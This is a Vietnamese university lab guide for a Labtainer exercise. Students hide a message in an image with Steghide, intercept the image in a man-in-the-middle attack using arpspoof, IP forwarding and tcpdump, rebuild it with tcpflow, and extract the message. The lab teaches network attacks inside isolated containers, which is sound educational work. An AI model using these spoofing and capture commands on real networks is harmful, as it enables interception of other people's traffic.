# HƯỚNG DẪN LAB: img-stegano-attack-tool

## 1. Mục đích

Bài lab này hướng dẫn sinh viên thực hiện một mô phỏng tấn công Man-in-the-Middle (MITM) nhằm bắt được và giải mã dữ liệu được giấu trong ảnh khi truyền giữa hai máy. Qua bài lab, sinh viên sẽ:

- Hiểu cách sử dụng công cụ Steghide để giấu thông tin vào ảnh.
- Thực hành kỹ thuật ARP Spoofing để can thiệp vào luồng truyền dữ liệu giữa hai container.
- Sử dụng công cụ tcpdump để bắt gói tin trên mạng.
- Sử dụng tcpflow để phân tích và trích xuất dữ liệu từ gói tin bắt được.
- Giải mã ảnh đã bị chặn để trích xuất thông tin bí mật.

## 2. Yêu cầu đối với sinh viên

Trước khi thực hiện bài lab này, sinh viên cần:

- Có kiến thức cơ bản về dòng lệnh Linux.
- Hiểu khái niệm về Steganography và tấn công Man-in-the-Middle.
- Biết cách sử dụng Labtainer để vận hành các môi trường thực hành ảo hoá nhiều container.

## 3. Nội dung lý thuyết

### 3.1. Giới thiệu về Steganography

Steganography là kỹ thuật giấu thông tin bên trong các file đa phương tiện như hình ảnh, âm thanh, video,... sao cho người quan sát không thể phát hiện ra sự tồn tại của thông tin đó. Kỹ thuật này không nhằm mục đích mã hoá mà là che giấu dữ liệu một cách tinh vi.

### 3.2. Công cụ Steghide

Steghide là công cụ mã nguồn mở cho phép nhúng dữ liệu vào ảnh (hoặc âm thanh) và trích xuất lại dữ liệu đó. Nó hỗ trợ nén và mã hoá thông tin, giúp tăng cường bảo mật cho dữ liệu giấu.

### 3.3. Tấn công ARP Spoofing

ARP Spoofing là kỹ thuật trong đó kẻ tấn công gửi các gói tin ARP giả mạo trong mạng LAN để đánh lừa các thiết bị và chuyển hướng lưu lượng mạng qua máy của mình. Đây là một bước cơ bản trong tấn công Man-in-the-Middle.

### 3.4. Phân tích gói tin với tcpdump và tcpflow

Tcpdump là công cụ dòng lệnh cho phép ghi lại và phân tích các gói tin mạng. Tcpflow là công cụ giúp tái tạo các dòng dữ liệu TCP đã được truyền, rất hữu ích để khôi phục lại nội dung truyền giữa các máy.

# 4. Nội dung thực hành

## 4.1. Khởi động Lab

Chạy lệnh sau trong terminal để khởi động lab:

labtainer img-stego-att-tool

# 5. Các nhiệm vụ thực hành

## Nhiệm vụ 1: Tạo ảnh chứa tin (Sender)

Trong container sender, tải ảnh và tạo file chứa thông tin cần giấu bằng lệnh:

wget https://icdn.dantri.com.vn/a3HWDOlTcvMNT73KRccc/Image/2013/12/A1-0fe0d.jpg -O input.jpg

echo "Đây là thông điệp bí mật" > secret.txt

Sau đó giấu tin vào ảnh bằng Steghide:

steghide embed -cf input.jpg -ef secret.txt

Ghi nhớ mật khẩu giấu tin để giải mã ở bước cuối.

## Nhiệm vụ 2: Bật tcpdump thành công (Attacker)

Trong container attacker, mở 3 phiên làm việc bằng tmux. Tại 2 phiên đầu, thực hiện ARP Spoofing để định tuyến lưu lượng qua attacker.

tmux

Sử dụng Ctrl + b + % để tạo thêm 1 phiên . Ctrl + ↑→ ↓← để di chuyển giữa các phiên

sudo arpspoof -i eth0 -t [ip sender]  [ip receiver]
sudo arpspoof -i eth0 -t [ip receiver] [ip sender]

Tại phiên thứ 3, chạy tcpdump để ghi lại lưu lượng mạng:

sudo ip link set eth0 promisc on

sudo sysctl -w net.ipv4.ip_forward=1

tcpdump -i eth0 -w capture.pcap

## Nhiệm vụ 3: Bắt được gói tin thành công

Bên reiceiver sử dụng câu lệnh sau để lắng nghe đợi bên sender gửi thông tin

nc -l -p 4444 > anh.jp

Bên sender gửi ảnh: nc [ip reiceiver] 4444 < input.jpg

Khi sender gửi ảnh, quá trình này sẽ được ghi lại vào file capture.pcap. Sau khi hoàn tất, dừng tcpdump và kiểm tra xem đã có file và nội dung gói tin chưa:

ls

tcpdump -r capture.pcap

## Nhiệm vụ 4: Giải mã gói tin bằng tcpflow

Sử dụng tcpflow để tách dữ liệu TCP từ file capture.pcap:

tcpflow -r capture.pcap

Đọc gói tin vừa bắt được bằng lệnh vim hoặc nano :

Nano report.xml

## Nhiệm vụ 5: Lưu ảnh bắt được trong gói tin

Trong file report.xml sẽ chứa thông tin của file ảnh bắt được được lưu dưới dạng một dãy số : xxxxxxxxxx
Ta có thể kiểm tra thông tin của file đó bằng lệnh :

file xxxxxxxxxxxxxx(dãy số trong file)

Và lưu lại file ảnh đó bằng lệnh :

cp xxxxxxxxxxxxxxx(dãy số trong file) tên muốn lưu

## Nhiệm vụ 6: Giải mã thông điệp từ ảnh

Dùng steghide để trích xuất thông tin từ ảnh đã bắt được:

steghide extract -sf tên file ảnh  -p mật khẩu file ảnh

Sau đó kiểm tra file vừa được giải mã:

cat secret.txt

# 6. Kết thúc bài lab

Sau khi hoàn thành các nhiệm vụ, kiểm tra kết quả bằng lệnh:

checkwork

Để dừng bài lab, sử dụng lệnh:

Stoplab

Nếu muốn thực hiện lại lab, khởi động lại bằng lệnh:

labtainer -r img-stego-att-tool